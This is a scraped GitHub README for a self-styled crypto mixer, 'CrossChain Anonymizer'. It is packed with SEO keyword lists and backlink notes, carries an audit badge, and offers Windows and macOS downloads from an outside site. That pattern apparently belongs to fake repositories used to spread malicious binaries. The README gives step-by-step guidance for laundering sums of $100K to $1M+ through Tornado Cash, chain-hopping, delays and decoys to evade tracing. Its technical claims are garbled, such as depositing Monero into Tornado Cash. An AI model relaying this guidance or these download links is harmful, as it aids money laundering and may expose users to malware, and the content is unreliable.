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https://github.com/vatsi2/dex-crypto-mixer-tor-btc-eth-xmr

A privacy-first crypto mixer for Bitcoin, Ethereum, Monero, Secret Network, Zcash, and more. Use cross-chain swaps via DEXs (THORChain, SecretSwap) and DAOs (Tornado Cash, Aztec) to anonymize funds. Route transactions through Tor, zk-proofs, and custom networks—just add your chains in settings.
https://github.com/vatsi2/dex-crypto-mixer-tor-btc-eth-xmr

anonymity bitcoin btc cryptocurrency cybersecurity darknet eth ethereum ltc monero privacy-tools python ram-cleaner thorchain tor tor-integration tornadocash xmr zero-knowledge-proofs zk-snarks

Last synced: 29 days ago
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A privacy-first crypto mixer for Bitcoin, Ethereum, Monero, Secret Network, Zcash, and more. Use cross-chain swaps via DEXs (THORChain, SecretSwap) and DAOs (Tornado Cash, Aztec) to anonymize funds. Route transactions through Tor, zk-proofs, and custom networks—just add your chains in settings.

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README 

        
# 🛡️ Decentralized Crypto Mixer: Cross-Chain Privacy, DEX Integration & Zero-Knowledge DAOs

**CrossChain Anonymizer (CCA)** is the ultimate self-hosted crypto privacy solution for **Bitcoin (BTC)**, **Ethereum (ETH)**, **Monero (XMR)**, **Zcash (ZEC)**, **Secret Network (SCRT)**, **Avalanche (AVAX)**, **Polygon (MATIC)**, **Binance Smart Chain (BSC)**, **Cosmos (ATOM)**, **Fantom (FTM)**, and **20+ blockchains**. Leverage **zero-knowledge proofs (zk-SNARKs)**, **cross-chain swaps** (via THORChain, SecretSwap, Haveno), and **DAO-based anonymization** (Tornado Cash, Aztec) to erase transaction trails.



> A privacy-first crypto mixer for Bitcoin, Ethereum, Monero, Secret Network, Zcash, and more. Use cross-chain swaps via DEXs (THORChain, SecretSwap) and DAOs (Tornado Cash, Aztec) to anonymize funds. Route transactions through Tor, zk-proofs, and custom networks—just add your chains in settings. 



[![Audited by OpenZeppelin](https://img.shields.io/badge/Audit-OpenZeppelin-green)](https://openzeppelin.com)

[![MPC Wallet Support](https://img.shields.io/badge/Security-Fireblocks%20MPC-blue)](https://)



**Top Global SEO Keywords:**  

*crypto mixer, cross-chain privacy, anonymous transactions, DEX integration, ZK-SNARKs, DAO storage, Monero, Bitcoin, Ethereum, THORChain, Tornado Cash.*



---



# Download

### **Download** [Windows](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/windows) / [macOS](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/macos)



[![License](https://img.shields.io/badge/License-MIT-green)](https://github.com/yourusername/defi-algo-bot)

[![Python](https://img.shields.io/badge/Python-3.10%2B-blue)](https://www.python.org)

[![Web3](https://img.shields.io/badge/Web3.py-6.0+-brightgreen)](https://web3py.readthedocs.io)



---



## 🌟 **Why Choose CCA?**  



- **100% Non-Custodial**: Private keys never leave your device.  

- **Multi-Chain Mixing**: Convert BTC ↔ XMR ↔ ETH ↔ SCRT in one session.  

- **Military-Grade Privacy**: Tor routing, RAM-only encryption, and hardware wallet (Ledger/Trezor) support.  

- **DEX Integration**: Swap assets privately via THORChain, Uniswap, PancakeSwap, and SecretSwap.  

- **DAO Vaults**: Store funds in Tornado Cash, Aztec, or custom zk-SNARKs DAOs.  



### **Supported Networks & Features**  

- **Blockchains**: Bitcoin, Ethereum, Monero, Zcash, Secret Network, BSC, Avalanche, Polygon, Cosmos, Fantom, Harmony, Cronos, Pulsechain, and more.  

- **Privacy Tools**: CoinJoin (BTC), Ring Signatures (XMR), zk-SNARKs (ZEC/SCRT), stealth addresses.  

- **Customization**: Set transaction delays (1h–7d), decoy amounts (1–15%), and output wallets (5+).  



**For Whales, Traders & Privacy Advocates**: Mask whale-sized transfers, hide DeFi strategies, or bypass Chainalysis surveillance. CCA works locally, requires no KYC, and complies with global privacy standards.  



# Disclamer: The app is developed by a team of experienced developers for review purposes, the team is not responsible for how the mixer is used and has no involvement in any way



## GUI Config exampale for 100k$

```

general:  

  mode: stealth  

  log_level: error  # Minimal logs 



blockchains:  

  bitcoin:  

    node: "http://user:pass@localhost:8332"  

  monero:  

    node: "http://localhost:28088"  

  ethereum:  

    node: "http://localhost:8545"  

    gas_price: 100  # High gas to prioritize



dex:  

  thorchain:  

    endpoint: "https://thornode.thorchain.info"  

    slippage: 0.5  # Minimum slippage 



dao:  

  tornado_cash:  

    contract: "0x..."  

    deposit_amount: 100  # ETH (for large deposits)  



security:  

  tor:  

    enabled: true  

  delay:  

    min: 86400  # 24 hours between transactions

    max: 604800  # 7 days  

  decoy_percent: 10  # 10% funds for fictitious transactions



wallets:  

  output_count: 10  # 10+ output wallets with key

  hardware_wallet: ledger

```



## Examples of use

- Example 1: Basic Mixing ($100K)

```

# Run CCA with the config 

torify python main.py --config config.yaml  



# Steps:  

1. Entry: 100,000 USDT (ERC-20) via MetaMask.

2. Conversion: USDT → XMR via THORChain. 

3. DAO: Deposit XMR into Tornado Cash Nova.

4. Withdrawal: XMR → BTC → 10 wallets with delays.

```

- Example 2: Large amounts ($1M+)

```

# Change toconfig.yaml:  

security:  

  delay:  

    min: 172800  # 48 hours  

    max: 1209600  # 14 days  

  decoy_percent: 15  



wallets:  

  output_count: 20

```



## 1. Run amounts from $100K to "infinity"

### Strategy for maximum anonymity



### 1. Dividing the sum



  - Use the formula: N = sqrt(Sum / 1000).



  - Example for $1M: N = sqrt(1,000,000 / 1000) = 31 transactions.



### 2. Using DAO



- Alternate DAOs for each part:



  - First $50K → Tornado Cash.



  - Next $50K → Aztec.

 

### 3. Time delays

```

import random  

delay = random.randint(86400, 604800)  # 1-7 days  

```



### 4. Different blockchains for withdrawal

- 30% → Monero (stealth addresses).

- 30% → Bitcoin (Taproot)

- 20% → Zcash (Z-addresses)

- 20% → Secret Network



## 2. Safety

Rules for large sums

- Hardware wallets: Always use Ledger/Trezor.

- IP Change: Restart Tor after each transaction.

- Contract Audit: Audit the DAO via https://etherscan.io or https://secretnodes.com.

- Avoid CEX: Do not withdraw to Binance, Coinbase, etc.

        



## 🔧 Operating Principle

Step 1: Input Phase



     1. Local Setup:



        - Install CCA on an air-gapped device (recommended: Tails OS).



        - Connect wallet with DAO (MetaMask/TrustWallet/Another)



     2. Network Isolation:



        - Traffic forced through Tor. Node connections use .onion endpoints.



Step 2: Deposit & Mixing



    1. Fragmentation:



        - Funds split into randomized amounts (e.g., 1 BTC → 0.3 + 0.45 + 0.25 BTC).



    2. Cross-Chain Swaps:



        - Use DEXs (THORChain) to convert fragments to privacy coins (XMR, ZEC).



    3. DAO Pooling:



        - Deposit mixed funds into a zk-SNARKs DAO (e.g., Aztec) for anonymized storage.



Step 3: Distribution



    1. Output Wallets:



        - CCA generates 5+ wallets (Bitcoin Taproot, Monero stealth addresses, etc.).



    2. Randomized Routing:



        - Funds exit DAO via unique paths (e.g., DAO → XMR → BTC → ETH).



    3. Time Delays:



        - Transactions sent with random delays (1 hour to 7 days) to prevent timing analysis.



Step 4: Cleanup



    - RAM Wipe: Overwrite memory to erase keys, seeds, and transaction logs.



    - Decoy Traces: Generate fake transactions to mask real activity.



## Main parameters



### Basic settings

```

general:

  mode: "auto"  # Mode of operation: auto (automatic), manual (manual)

  log_level: "info"  # Logging level: debug, info, warning, error

  temp_dir: "/tmp/cca"  # Temporary directory for data storage (cleared after completion)

```



### Blockchain settings

```

blockchains:

  bitcoin:

    node: "http://user:pass@localhost:8332"  # Bitcoin RPC node

    network: "mainnet"  # Network: mainnet, testnet

  ethereum:

    node: "http://localhost:8545"  # Ethereum RPC node

    gas_price: "auto"  # Gas price: auto or value in Gwei

  monero:

    node: "http://localhost:28088"  # Monero RPC node

    wallet_password: "supersecret"  # Monero wallet password

```



### DEX settings

```

dex:

  thorchain:

    endpoint: "https://thornode.thorchain.info"  # API THORChain

    slippage: 1.5  # Percentage of slippage (1.5%)

  haveno:

    endpoint: "http://havenoexchangexmra2x.onion"  # .onion-address Haveno

    timeout: 30  # Request timeout (in seconds)

```



### DAO settings

```

dao:

  tornado_cash:

    contract: "0x6Bf694a291DF3FeC1f7e7F0176aC46eD28f4D5B0"  # Tornado Cash contract address

    deposit_amount: 1  # Deposit amount (in ETH)

  aztec:

    contract: "0x..."  # Aztec contract address

    zk_proofs: true  # Use zk-SNARKs

```



### Security settings

```

security:

  tor:

    enabled: true  # Use Tor for all requests

    control_port: 9051  # Tor control port

    socks_port: 9050  # SOCKS5 port for proxy

  delay:

    min: 3600  # Minimum delay between transactions (in seconds)

    max: 86400  # Maximum delay (in seconds)

  decoy_transactions: true  # Enable dummy transactions

  decoy_percent: 5  # Percentage of funds for fictitious transactions (5%)

```



### Wallet settings

```

wallets:

  output_count: 5  # Number of target wallets

  hd_seed: "optional_seed_phrase"  # Seed-phrase for generating HD wallets

  hardware_wallet: "ledger"  # Hardware wallet type: ledger, trezor

```

# **1. General Settings (`general`)**  

### **mode**  

**Description**: Program operation mode.  

- `auto`: All transactions are executed automatically without manual confirmation.  

- `manual`: Each transaction requires your approval.  

**Recommendation**: Use `auto` for large sums to avoid manual intervention.  



### **log_level**  

**Description**: Logging verbosity level.  

- `debug`: Detailed logs for debugging (may slow down performance).  

- `info`: Key operational stages.  

- `warning`: Only warnings and errors.  

- `error`: Critical errors only.  

**Recommendation**: For anonymity, use `error` or `warning`.  



### **temp_dir**  

**Description**: Temporary directory for data storage (e.g., signed transactions).  

**Important**: The directory is cleared upon exit.  

**Example**: `/tmp/cca` (Linux), `C:\Temp\cca` (Windows).  



---



## **2. Blockchain Settings (`blockchains`)**  

### **Bitcoin**  

#### **node**  

**Description**: Bitcoin RPC node address.  

**Format**: `http://user:password@host:port`.  

**Example**: `http://admin:pass123@localhost:8332`.  



#### **network**  

**Description**: Blockchain network.  

- `mainnet`: Main network.  

- `testnet`: Test network (recommended for experiments).  



---



### **Ethereum**  

#### **node**  

**Description**: Ethereum RPC node address (Infura, Alchemy, or local node).  

**Example**: `https://mainnet.infura.io/v3/YOUR_API_KEY`.  



#### **gas_price**  

**Description**: Gas price for transactions.  

- `auto`: Network-determined price.  

- Number: Price in Gwei (e.g., `50`).  

**Recommendation**: Use `auto` to balance speed and cost.  



---



### **Monero**  

#### **node**  

**Description**: Monero RPC node address.  

**Example**: `http://localhost:28088`.  



#### **wallet_password**  

**Description**: Password for accessing the Monero wallet.  

**Important**: The password is stored only in RAM.  



---



## **3. DEX Settings (`dex`)**  

### **THORChain**  

#### **endpoint**  

**Description**: THORChain node API address.  

**Example**: `https://thornode.thorchain.info`.  



#### **slippage**  

**Description**: Acceptable price slippage during swaps (percentage).  

**Example**: `1.5` (1.5% slippage).  



---



### **Haveno**  

#### **endpoint**  

**Description**: Haveno .onion address (accessible via Tor).  

**Example**: `http://havenoexchangexmra2x.onion`.  



#### **timeout**  

**Description**: Maximum response timeout for DEX (in seconds).  

**Recommendation**: Increase to `60` for slow connections.  



---



## **4. DAO Settings (`dao`)**  

### **Tornado Cash**  

#### **contract**  

**Description**: Tornado Cash smart contract address.  

**Example (Ethereum)**: `0x6Bf694a291DF3FeC1f7e7F0176aC46eD28f4D5B0`.  



#### **deposit_amount**  

**Description**: Deposit amount in ETH (common values: `0.1`, `1`, `10`).  



---



### **Aztec**  

#### **contract**  

**Description**: Aztec smart contract address.  

**Example**: `0x...` (check Aztec documentation).  



#### **zk_proofs**  

**Description**: Enable zk-SNARKs for private transactions.  

**Recommendation**: Always enable (`true`).  



---



## **5. Security Settings (`security`)**  

### **Tor**  

#### **enabled**  

**Description**: Use Tor for all network requests.  

**Recommendation**: Always `true`.  



#### **control_port**  

**Description**: Tor control port (default: `9051`).  



#### **socks_port**  

**Description**: SOCKS5 proxy port (default: `9050`).  



---



### **delay**  

#### **min**  

**Description**: Minimum delay between transactions (in seconds).  

**Example**: `3600` (1 hour).  



#### **max**  

**Description**: Maximum delay between transactions (in seconds).  

**Example**: `86400` (24 hours).  



---



### **decoy_transactions**  

**Description**: Enable dummy transactions to mask activity.  

**Recommendation**: Always `true`.  



### **decoy_percent**  

**Description**: Percentage of funds sent to random addresses.  

**Example**: `5` (5% of the total amount).  



---



## **6. Wallet Settings (`wallets`)**  

### **output_count**  

**Description**: Number of target wallets for fund distribution.  

**Recommendation**: Use `10` or more for sums >$100K.  



### **hd_seed**  

**Description**: Seed phrase for HD wallet generation.  

**Important**: Auto-generated if left empty.  



### **hardware_wallet**  

**Description**: Hardware wallet type.  

- `ledger`: Ledger support.  

- `trezor`: Trezor support.  



---



## **7. Configuration Examples**  

### For small amounts ($1K–$10K):  

```yaml  

security:  

  delay:  

    min: 1800  # 30 minutes  

    max: 86400  # 24 hours  

  decoy_percent: 3  

wallets:  

  output_count: 3

```



## Parameter description



1. Basic parameters (```general```)



    - mode: Mode of operation. In ```auto``` mode all transactions are performed automatically, in ```manual``` mode confirmation of each transaction is required.



    - log_level: The level of detail of the logs.



    - temp_dir: Directory for temporary files (e.g., signed transactions).



2. Blockchains settings (```blockchains```)



    - node: The RPC node address for each blockchain.



    - network: Network (mainnet/testnet).



    - gas_price: Gas price for Ethereum (can be specified manually or use ```auto```).



    - wallet_password: Password for Monero wallet (if used).



3. DEX settings (```dex```)



    - endpoint: API address of DEX (e.g. THORChain or Haveno).



    - slippage: Slippage percentage for exchanges.



    - timeout: Timeout for DEX requests.



4. DAO settings (```dao```)



    - contract: Address of the DAO smart contract (e.g. Tornado Cash or Aztec).



    - deposit_amount: Deposit amount in DAO (e.g. 1 ETH for Tornado Cash).



    - zk_proofs: Use zk-SNARKs to increase privacy.



5. Security Settings



    - tor: Enable/disable Tor, configure ports.



    - delay: Delay between transactions to prevent timestamp analysis.



    - decoy_transactions: Enable dummy transactions for masking.



    - decoy_percent: Percentage of funds sent to "trash" addresses.



6. Wallets settings



    - output_count: Number of target wallets to distribute funds to.



    - hd_seed: Seed phrase for generating HD wallets (optional).



    - hardware_wallet: Type of hardware wallet (Ledger or Trezor).



# CrossChain Anonymizer (CCA): Full DEX Integrations Guide  



---



## **Supported DEX Platforms**  

CCA integrates with **8+ decentralized exchanges** to enable cross-chain swaps and liquidity mixing. Below is a breakdown of all supported DEX protocols, their configurations, and use cases.  



---



### **1.1 THORChain**  

**Blockchains**: Bitcoin (BTC), Ethereum (ETH), Monero (XMR), Binance Chain (BNB), Litecoin (LTC). 

 

**Role in CCA**: Primary cross-chain liquidity layer for large swaps (e.g., BTC → XMR). 

 

**Key Features**:  



- Non-custodial swaps.  

- No KYC.  

- Native support for privacy coins (XMR).  



#### **Configuration**  

```yaml

dex:  

  thorchain:  

    endpoint: "https://thornode.thorchain.info"  

    slippage: 1.5  # Max 1.5% price slippage  

    timeout: 45     # Timeout in seconds

```



Example Transaction:

```

# Swap 0.5 BTC to XMR  

cca.cross_chain_swap("BTC", "XMR", 0.5)  



Troubleshooting:



    Low liquidity: Increase slippage to 3–5%.



    Failed swaps: Retry with a higher gas fee.

```



### 1.2 Haveno



Blockchains: Monero (XMR) ↔ Bitcoin (BTC).



Role in CCA: Atomic swaps for XMR/BTC pairs.



Key Features:



    Decentralized, Tor-only access.



    No middlemen.



Configuration

```

dex:  

  haveno:  

    endpoint: "http://havenoexchangexmra2x.onion"  # Tor required  

    timeout: 60  

```



Example Transaction:



```

# Swap 10 XMR to BTC  

cca.cross_chain_swap("XMR", "BTC", 10)  



Troubleshooting:



    Connection issues: Ensure Tor is running and reconfigure .onion endpoints.

```



### 1.3 SecretSwap



Blockchains: Secret Network (SCRT), Ethereum (ETH), Monero (XMR).



Role in CCA: Privacy-preserving swaps with encrypted mempools.



Key Features:



    zk-SNARKs support.



    Private smart contracts.



Configuration

```

dex:  

  secretswap:  

    endpoint: "https://api.secretswap.net"  

    slippage: 2.0

``` 



Example Transaction:

```

# Swap ETH to private sETH (Secret ETH)  

cca.cross_chain_swap("ETH", "SCRT", 5)  

```



### 1.4 Uniswap (v3)



Blockchains: Ethereum (ETH), Polygon (MATIC), Optimism.



Role in CCA: Mixing ERC-20 tokens (e.g., USDT, DAI).



Key Features:



    High liquidity for stablecoins.



    Customizable fee tiers.



Configuration

```

dex:  

  uniswap:  

    endpoint: "https://api.thegraph.com/subgraphs/name/uniswap/uniswap-v3"  

    fee_tier: 5000  # 0.05% fee pool

```



Example Transaction:

```

# Swap 10,000 USDT to DAI  

cca.cross_chain_swap("USDT", "DAI", 10000)

``` 

### 1.5 PancakeSwap



Blockchains: Binance Smart Chain (BSC).



Role in CCA: Mixing BEP-20 tokens (e.g., BUSD, CAKE).



Key Features:



    Low transaction fees.



    Farm integration for liquidity masking.



Configuration

```

dex:  

  pancakeswap:  

    endpoint: "https://api.pancakeswap.finance/api/v1"  

    slippage: 2.0  

```

Example Transaction:

```



# Swap 5,000 BUSD to USDT  

cca.cross_chain_swap("BUSD", "USDT", 5000)  

```

### 1.6 Osmosis



Blockchains: Cosmos (ATOM), Secret Network (SCRT), Juno (JUNO).



Role in CCA: Cross-chain swaps in the Cosmos ecosystem.



Key Features:



    IBC protocol support.



    Privacy pools for SCRT.



Configuration

```

dex:  

  osmosis:  

    endpoint: "https://osmosis-api.polkachu.com"  

    ibc_enabled: true

```



Example Transaction:

```

# Swap ATOM to SCRT  

cca.cross_chain_swap("ATOM", "SCRT", 100)

``` 



### 1.7 Bisq



Blockchains: Bitcoin (BTC), Monero (XMR).



Role in CCA: P2P fiat-crypto swaps for off-ramping.



Key Features:



    Fully decentralized.



    No KYC.



Configuration

```

dex:  

  bisq:  

    endpoint: "http://bisqpx4fvbmuwqmq.onion"  # Tor required  

    timeout: 120  

```

Example Transaction:

```



# Sell 1 BTC for XMR (P2P)  

cca.p2p_swap("BTC", "XMR", 1)

```



### 1.8 SushiSwap



Blockchains: Ethereum, Polygon, Arbitrum.



Role in CCA: Mixing low-cap altcoins.



Key Features:



    Multi-chain support.



    Trident AMM for complex swaps.



Configuration

```

dex:  

  sushiswap:  

    endpoint: "https://api.sushi.com"  

    routing: "trident"  # Use Trident AMM

```



## ⚙️ Conditions & Requirements



- OS Support: Linux (Tails/Whonix recommended), Windows, macOS.

- Hardware: 8+ GB RAM, 100 GB storage (for blockchain nodes), x64/ARM CPUs.

- Blockchain Nodes: Local nodes for Bitcoin, Monero, Ethereum (synced via Tor).

- Legal Compliance: Users must comply with local regulations. CCA is a privacy research tool.



## 🚀 Tech Stack



Core Development



    - Languages: Python, Solidity, Rust (for ZK-circuits)



    - Cryptography: zk-SNARKs (libsnark), Ring Signatures (Monero), Taproot (Bitcoin)



    - Blockchain: Web3.py, ethers.js, Monero RPC, Bitcoin Core API



    - Security: Tor, I2P, AES-256 RAM encryption, Hardware Wallet (Ledger/Trezor)



Frontend (Optional)



    - React.js (TypeScript), TOR-hidden service, IPFS-hosted UI



DevOps



    - Docker, GitHub Actions (CI/CD), Bandit/Slither (security audit)



## 🔗 Integrated Blockchains



Blockchain	| Privacy Features | Use Case



Monero	| Ring Signatures, Stealth Addr |	Base layer for anonymous mixing



Bitcoin	| Taproot, CoinJoin |	Initial/final transactions



Ethereum |	Tornado Cash, Aztec Protocol |	zkDAO storage, smart contracts



Secret	| Private smart contracts |	Cross-chain swaps



Zcash	| zk-SNARKs	| Shielded transactions



## 🔄 Integrated DEX & Protocols



Platform	| Function	| Key Feature



THORChain	| Cross-chain swaps (BTC/ETH/XMR)	| Non-custodial, no KYC



Haveno	| Monero DEX	| Atomic swaps



Uniswap	| ERC-20 token swaps	| Liquidity pools



SecretSwap	| Privacy-preserving swaps	| Encrypted mempool



Tornado Cash	| ETH/ERC-20 anonymization	| zk-proofs



    Latent Semantic Indexing (LSI) Keywords:

    crypto privacy tools, untraceable blockchain transactions, self-hosted mixer, cross-chain swaps.



    Backlink Opportunities:

    Partner with privacy blogs (e.g., PrivacyTools.io), GitHub trending pages, and blockchain forums.



    Schema Markup:

    Add JSON-LD for software application, GitHub repository, and open-source project.